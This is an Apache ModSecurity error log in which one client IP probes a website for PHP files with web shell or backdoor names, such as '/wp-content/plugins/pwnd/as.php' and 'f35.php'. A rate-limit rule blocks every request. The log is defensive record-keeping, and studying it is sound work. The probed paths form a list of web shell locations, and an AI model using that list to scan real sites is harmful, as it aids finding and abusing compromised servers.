[Sat Feb 28 01:49:36.995319 2026] [:error] [pid 15099:tid 15145] [client 20.100.197.204:37805] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aaHZMOnvP2vtPjYDq_g-kQAAAMw"]
[Sat Feb 28 01:49:37.512681 2026] [:error] [pid 15099:tid 15146] [client 20.100.197.204:22160] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aaHZMenvP2vtPjYDq_g-kgAAAM0"]
[Sat Feb 28 01:49:38.030503 2026] [:error] [pid 15098:tid 15130] [client 20.100.197.204:11008] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aaHZMskFqny8dQQbmTksMgAAAJg"]
[Sat Feb 28 01:49:38.546687 2026] [:error] [pid 15099:tid 15140] [client 20.100.197.204:25217] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aaHZMunvP2vtPjYDq_g-lAAAAMc"]
[Sat Feb 28 01:49:45.774851 2026] [:error] [pid 15098:tid 15125] [client 20.100.197.204:19629] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/init.php"] [unique_id "aaHZOckFqny8dQQbmTksVAAAAJM"]
[Sat Feb 28 01:49:46.291222 2026] [:error] [pid 15098:tid 15105] [client 20.100.197.204:2486] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/init.php"] [unique_id "aaHZOskFqny8dQQbmTksVQAAAIA"]
[Sat Feb 28 01:49:46.807582 2026] [:error] [pid 38586:tid 38605] [client 20.100.197.204:35957] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/init.php"] [unique_id "aaHZOr_i6nvKNhjFW7VZvgAAARA"]
[Sat Feb 28 01:49:47.324895 2026] [:error] [pid 38620:tid 38623] [client 20.100.197.204:15748] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/init.php"] [unique_id "aaHZOwP6I7SRqrhh7RomaAAAAUE"]
[Sat Feb 28 01:49:47.841495 2026] [:error] [pid 38586:tid 38590] [client 20.100.197.204:4592] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaHZO7_i6nvKNhjFW7VZwgAAAQE"]
[Sat Feb 28 01:49:48.361593 2026] [:error] [pid 38620:tid 38644] [client 20.100.197.204:12029] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaHZPAP6I7SRqrhh7RomcAAAAVY"]
[Sat Feb 28 01:49:48.878969 2026] [:error] [pid 38620:tid 38631] [client 20.100.197.204:22173] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaHZPAP6I7SRqrhh7RomdwAAAUk"]
[Sat Feb 28 01:49:49.394698 2026] [:error] [pid 38620:tid 38624] [client 20.100.197.204:11059] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaHZPQP6I7SRqrhh7RomewAAAUI"]
[Sat Feb 28 01:49:49.913967 2026] [:error] [pid 38586:tid 38604] [client 20.100.197.204:36882] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aaHZPb_i6nvKNhjFW7VZyAAAAQ8"]
[Sat Feb 28 01:49:50.432548 2026] [:error] [pid 38620:tid 38632] [client 20.100.197.204:22163] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aaHZPgP6I7SRqrhh7RomgQAAAUo"]
[Sat Feb 28 01:49:50.949890 2026] [:error] [pid 38620:tid 38640] [client 20.100.197.204:11049] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aaHZPgP6I7SRqrhh7RomhgAAAVI"]
[Sat Feb 28 01:49:51.467857 2026] [:error] [pid 38620:tid 38638] [client 20.100.197.204:4547] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aaHZPwP6I7SRqrhh7RomigAAAVA"]
[Sat Feb 28 01:49:51.987277 2026] [:error] [pid 38620:tid 38634] [client 20.100.197.204:35937] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aaHZPwP6I7SRqrhh7RomkQAAAUw"]
[Sat Feb 28 01:49:52.512692 2026] [:error] [pid 15099:tid 15138] [client 20.100.197.204:19586] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aaHZQOnvP2vtPjYDq_g-pQAAAMU"]
[Sat Feb 28 01:49:53.030153 2026] [:error] [pid 38620:tid 38629] [client 20.100.197.204:19634] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aaHZQQP6I7SRqrhh7RommAAAAUc"]
[Sat Feb 28 01:49:53.547867 2026] [:error] [pid 38620:tid 38623] [client 20.100.197.204:4591] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aaHZQQP6I7SRqrhh7RomnAAAAUE"]
[Sat Feb 28 01:49:54.065043 2026] [:error] [pid 15240:tid 15265] [client 20.100.197.204:11522] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "aaHZQi1iKL_41Rk9A9OH8AAAABc"]
[Sat Feb 28 01:49:54.585363 2026] [:error] [pid 38620:tid 38641] [client 20.100.197.204:12020] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "aaHZQgP6I7SRqrhh7RomqgAAAVM"]
[Sat Feb 28 01:49:55.102480 2026] [:error] [pid 38620:tid 38629] [client 20.100.197.204:35947] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "aaHZQwP6I7SRqrhh7RomsgAAAUc"]
[Sat Feb 28 01:49:55.631836 2026] [:error] [pid 38586:tid 38592] [client 20.100.197.204:12008] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "aaHZQ7_i6nvKNhjFW7VZ0wAAAQM"]
[Sat Feb 28 01:49:56.150869 2026] [:error] [pid 38620:tid 38638] [client 20.100.197.204:11523] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aaHZRAP6I7SRqrhh7RomuQAAAVA"]
[Sat Feb 28 01:49:56.668878 2026] [:error] [pid 38620:tid 38630] [client 20.100.197.204:11565] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aaHZRAP6I7SRqrhh7RomvQAAAUg"]
[Sat Feb 28 01:49:57.192470 2026] [:error] [pid 38620:tid 38646] [client 20.100.197.204:11039] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aaHZRQP6I7SRqrhh7RomwQAAAVg"]
[Sat Feb 28 01:49:57.711141 2026] [:error] [pid 15240:tid 15250] [client 20.100.197.204:13378] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aaHZRS1iKL_41Rk9A9OH9wAAAAg"]
[Sat Feb 28 01:49:58.227918 2026] [:error] [pid 15099:tid 15157] [client 20.100.197.204:13422] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "aaHZRunvP2vtPjYDq_g-rwAAANg"]
[Sat Feb 28 01:49:58.747107 2026] [:error] [pid 38586:tid 38611] [client 20.100.197.204:11066] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "aaHZRr_i6nvKNhjFW7VZ6QAAARY"]
[Sat Feb 28 01:49:59.275308 2026] [:error] [pid 15240:tid 15255] [client 20.100.197.204:11556] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "aaHZRy1iKL_41Rk9A9OH-QAAAA0"]
[Sat Feb 28 01:49:59.799142 2026] [:error] [pid 38586:tid 38590] [client 20.100.197.204:19642] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "aaHZR7_i6nvKNhjFW7VZ_AAAAQE"]
[Sat Feb 28 01:50:00.350360 2026] [:error] [pid 38620:tid 38631] [client 20.100.197.204:6499] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaHZSAP6I7SRqrhh7Rom2AAAAUk"]
[Sat Feb 28 01:50:00.872295 2026] [:error] [pid 38620:tid 38634] [client 20.100.197.204:11578] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaHZSAP6I7SRqrhh7Rom4AAAAUw"]
[Sat Feb 28 01:50:01.421955 2026] [:error] [pid 15100:tid 15167] [client 20.100.197.204:6522] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaHZSUOEbzcINan_ctLOQgAAAEc"]
[Sat Feb 28 01:50:01.957261 2026] [:error] [pid 38620:tid 38627] [client 20.100.197.204:6476] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaHZSQP6I7SRqrhh7Rom8AAAAUU"]
[Sat Feb 28 01:50:02.510136 2026] [:error] [pid 15100:tid 15161] [client 20.100.197.204:14855] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admins.php"] [unique_id "aaHZSkOEbzcINan_ctLOSAAAAEE"]
[Sat Feb 28 01:50:03.041513 2026] [:error] [pid 38620:tid 38634] [client 20.100.197.204:13398] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admins.php"] [unique_id "aaHZSwP6I7SRqrhh7Rom-gAAAUw"]
[Sat Feb 28 01:50:03.595463 2026] [:error] [pid 38586:tid 38597] [client 20.100.197.204:35904] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admins.php"] [unique_id "aaHZS7_i6nvKNhjFW7VaCgAAAQg"]
[Sat Feb 28 01:50:04.120148 2026] [:error] [pid 38620:tid 38639] [client 20.100.197.204:37670] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admins.php"] [unique_id "aaHZTAP6I7SRqrhh7RonCgAAAVE"]
[Sat Feb 28 01:50:04.658132 2026] [:error] [pid 38620:tid 38643] [client 20.100.197.204:4600] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aaHZTAP6I7SRqrhh7RonEgAAAVU"]
[Sat Feb 28 01:50:05.205351 2026] [:error] [pid 38586:tid 38591] [client 20.100.197.204:37664] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aaHZTb_i6nvKNhjFW7VaFQAAAQI"]
[Sat Feb 28 01:50:05.729222 2026] [:error] [pid 38586:tid 38612] [client 20.100.197.204:16110] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aaHZTb_i6nvKNhjFW7VaHQAAARc"]
[Sat Feb 28 01:50:06.277042 2026] [:error] [pid 38586:tid 38603] [client 20.100.197.204:6497] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aaHZTr_i6nvKNhjFW7VaIQAAAQ4"]
[Sat Feb 28 01:50:06.812176 2026] [:error] [pid 38620:tid 38630] [client 20.100.197.204:16112] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/main.php"] [unique_id "aaHZTgP6I7SRqrhh7RonIQAAAUg"]
[Sat Feb 28 01:50:07.363982 2026] [:error] [pid 38586:tid 38594] [client 20.100.197.204:6521] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/main.php"] [unique_id "aaHZT7_i6nvKNhjFW7VaLwAAAQU"]
[Sat Feb 28 01:50:07.893177 2026] [:error] [pid 15240:tid 15256] [client 20.100.197.204:11574] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/main.php"] [unique_id "aaHZTy1iKL_41Rk9A9OIFgAAAA4"]
[Sat Feb 28 01:50:08.421518 2026] [:error] [pid 38586:tid 38609] [client 20.100.197.204:6517] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/main.php"] [unique_id "aaHZUL_i6nvKNhjFW7VaOAAAARQ"]
[Sat Feb 28 01:50:08.953589 2026] [:error] [pid 38586:tid 38599] [client 20.100.197.204:6313] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aaHZUL_i6nvKNhjFW7VaOwAAAQo"]
[Sat Feb 28 01:50:09.479027 2026] [:error] [pid 15100:tid 15165] [client 20.100.197.204:11521] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aaHZUUOEbzcINan_ctLOUwAAAEU"]
[Sat Feb 28 01:50:10.002195 2026] [:error] [pid 38586:tid 38603] [client 20.100.197.204:6518] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aaHZUr_i6nvKNhjFW7VaRQAAAQ4"]
[Sat Feb 28 01:50:10.546058 2026] [:error] [pid 15099:tid 15133] [client 20.100.197.204:6467] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aaHZUunvP2vtPjYDq_g-0AAAAMA"]
[Sat Feb 28 01:50:11.081154 2026] [:error] [pid 38620:tid 38644] [client 20.100.197.204:6474] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aaHZUwP6I7SRqrhh7RonPgAAAVY"]
[Sat Feb 28 01:50:11.628936 2026] [:error] [pid 38586:tid 38609] [client 20.100.197.204:16091] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aaHZU7_i6nvKNhjFW7VaTQAAARQ"]
[Sat Feb 28 01:50:12.151104 2026] [:error] [pid 15100:tid 15167] [client 20.100.197.204:4551] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aaHZVEOEbzcINan_ctLOWAAAAEc"]
